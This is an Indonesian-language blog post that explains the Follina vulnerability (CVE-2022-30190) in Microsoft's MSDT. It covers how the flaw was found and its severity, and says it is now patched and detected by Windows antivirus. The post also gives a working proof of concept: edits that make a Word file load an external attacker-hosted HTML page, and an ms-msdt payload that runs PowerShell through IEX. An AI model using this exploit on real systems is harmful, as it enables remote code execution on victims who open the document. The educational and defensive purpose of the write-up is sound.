File Word Bisa Jadi Senjata Hacker: Menguak CVE-2022–30190 (Follina). Penjelasan — Proof of Concept — Kondisi Terkini Tentang Celah Keamanan Follina

Setiya Purbaya
4 min readDec 8, 2024

--

Follina

CVE-2022–30190 atau nama terkenalnya “Follina” merupakan celah keamanan yang ditemukan di Microsoft Windows Support Diagnostic Tool (MSDT). Kerentanan ini memungkinkan penyerang untuk menjalankan kode arbitrer pada sistem korban dengan menggunakan dokumen Microsoft Office berbahaya. Kerentanan ini ditemukan pada tanggal 29 Mei 2022, tim Nao_Sec, sebuah tim Peneliti Keamanan Siber independen, menemukan dokumen Office berbahaya yang dibagikan di VirusTotal. Dokumen ini menggunakan skema menggunakan kerentanan pada MSDT untuk menginfeksi korbannya. Skema ini tidak terdeteksi sebagai ancaman oleh beberapa EDR, seperti Microsoft Defender for Endpoint pada waktu itu.

nao_sec

Gambar diatas merupakan informasi pertama kalinya ketika security researcher @nao_sec pada tanggal 27 Mei 2022 mendeteksi adanya malicious document yang mengandung HTML dan menggunakan “ms-msdt” / Microsoft Windows Support Diagnostic Tools untuk mengeksekusi PowerShell Code.

Kerentanan Follina ini memiliki tingkat keparahan 9.8/10 (Critical) hal ini dikarenakan kerentanan ini yang mudah dilakukan dan dapat mendapatkan full akses ke korban atau Remote Code Execution. Vektor Serangan ini dengan mudah menggunakan sosial engineering karena kerentanan ini hanya butuh korban untuk membuka file word tanpa interaksi apapun.

sumber : https://www.blackberry.com/us/en/solutions/endpoint-security/security-vulnerabilities/follina-vulnerability

Proof of Concept

Secara sederhana cara kerja serangan ini adalah penyerang membuat file word berekstensi .doc dengan menambahkan object berupa (OLE) object (as a Bitmap Image)

Penambahan (OLE) Object as a Bitmap Image
Contoh File Word Yang sudah ditambahkan OLE Object

Selanjutnya setelah kita menambahkan OLE Object kita perlu mengubah ekstensi file .doc menjadi .zip

Mengubah Ekstensi File .doc menjadi .zip

Setelah diubah menjadi .zip, file tersebut diekstrak sehingga nanti terlihat struktur baru dari file .doc yang terbentuk setelah adanya penambahan insert OLE Object. Seperti gambar berikut:

Struktur .doc yang telah ditambahkan OLE Object

dari file word yang ditambahkan object tersebut

  1. Edit word/_rels/document.xml.rels lalu ubah XML tag <Relationship> dengan attribute
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"

dan tambahkanTarget="embeddings/oleObject1.bin" dengan mengubahTarget value dan tambahkan attributeTargetMode:

Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
file document.xml.rels yang perlu diedit
Berikut contoh file document.xml.rels yang sudah dikonfigurasi

Target = “http://192.168.1.17:8000/index.html!” merupakan IP Penyerang.

2. Edit word/document.xml. Lalu cari "<o:OLEObject ..>" tag (with r:id="rId5") dan ubah attribute dari Type="Embed" to Type="Link" dan tambahkan attribute UpdateMode="OnCall".

Baris Yang Diubah pada document.xml

3. Untuk payload pada server buat file .html dengan ms-msdt scheme pada file http://<payload_server>/payload.html sebagai berikut:

<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>

</body>
</html>

Catatan:

  1. Baris komentar dengan AAA harus diulang lebih dari 60 kali (minimal 4096 byte).
  2. Setidaknya, diperlukan dua traversal direktori /../ di awal parameter IT_BrowseForFile.
  3. Kode yang dibungkus dalam $() akan dieksekusi melalui PowerShell, tetapi spasi akan membuatnya gagal.
  4. “.exe” harus menjadi string terakhir yang ada di akhir parameter IT_BrowseForFile.

Setelah membahas, bagaimana cara kerja follina dan proof of conceptnya. Lalu apakah serangan ini masih bisa dilakukan di tahun 2024?

Kondisi Saat Ini

Saat ini, CVE-2022–30190 (Follina) tidak dalam status zero day karena microsoft telah mengeluarkan pembaruan keamanan untuk mengatasi kerentanan ini. Pada 14 Juni 2022, Microsoft merilis pembaruan keamanan resmi sebagai bagian dari Patch untuk memperbaiki kerentanan ini. Patch tersebut dirancang untuk menonaktifkan eksploitasi melalui dokumen Office dan mencegah penggunaan MSDT dengan cara yang tidak sah.

Akibat celah ini juga, microsoft menonaktifkan MSDT atau program MSDT sudah tidak diteruskan lagi.

Selain itu, anti virus bawaan dari windows yaitu windows security sudah bisa mendeteksi file word yang mengeksploitasi celah keamanan MSDT.

File Word Yang mencoba mengeksploitasi celah keamanan Follina Terdeteksi Virus pada Windows Terbaru
Log Pada Windows AV Mendeteksi Follina Sebagai CVE-2017–0199

Oke itulah sedikit kisah dari celah keamanan legendaris Follina. Selanjutnya, jika nanti sudah ada waktu akan saya bagikan demo untuk mengekploitasi menggunakan kerentanan ini.

--

--

Setiya Purbaya
Setiya Purbaya

Written by Setiya Purbaya

By the time you realize, its already too late.

No responses yet